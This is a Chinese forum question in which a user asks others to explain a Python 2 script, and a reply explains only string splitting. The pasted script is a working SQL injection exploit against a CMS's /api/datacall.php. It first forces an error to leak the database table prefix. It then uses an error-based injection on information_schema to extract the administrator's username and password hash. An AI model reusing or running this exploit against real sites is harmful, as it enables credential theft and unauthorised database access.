不太理解这段python代码？达人们看看！
以下这段代码看了一上午也没明白，各位牛们指点指点。多谢啦。

#!/usr/bin/python

#coding=utf-8

import urllib

import sys

def qz(url):

        fp=urllib.urlopen(url+"//api/datacall.php?type=user&order=12'&by=and 1=1&limit=1")//默认url参数没用到

        data=fp.read()

        return data.split("select username,userid from ")[1].split("_users ")[0] //这行不理解

if len(sys.argv) !=1:

        host=sys.argv[1]

        qz=qz(host) // 这行应该是把host参数传给qz函数吧？

        fp=urllib.urlopen(host+"//api/datacall.php?type=user&order=1%20and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x27,0x7e,"+qz+"_users.username,0x27,0x7e,"+qz+"_users.password,0x27,0x7e)%20from%20"+qz+"_users%20where%20userid=1%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1%23"+"&by=and 1=1&limit=1")  //"+qz+" 这个拼接不太理解，在这里有什么作用

        data=fp.read()

             

[解决办法]
比如有一段字符串内容为：
data = '1234567select username,userid from where _users =1234 '
data.split("select username,userid from ")[1].split("_users ")[0]
等价于：

>>> data = '1234567select username,userid from  where _users =1234 '
>>> print data.split("select username,userid from ")[1]
 where _users =1234
>>> print ' where _users =1234'.split("_users ")[0]
 where
>>>
>>> print data.split("select username,userid from ")[1].split("_users ")[0]
 where
>>>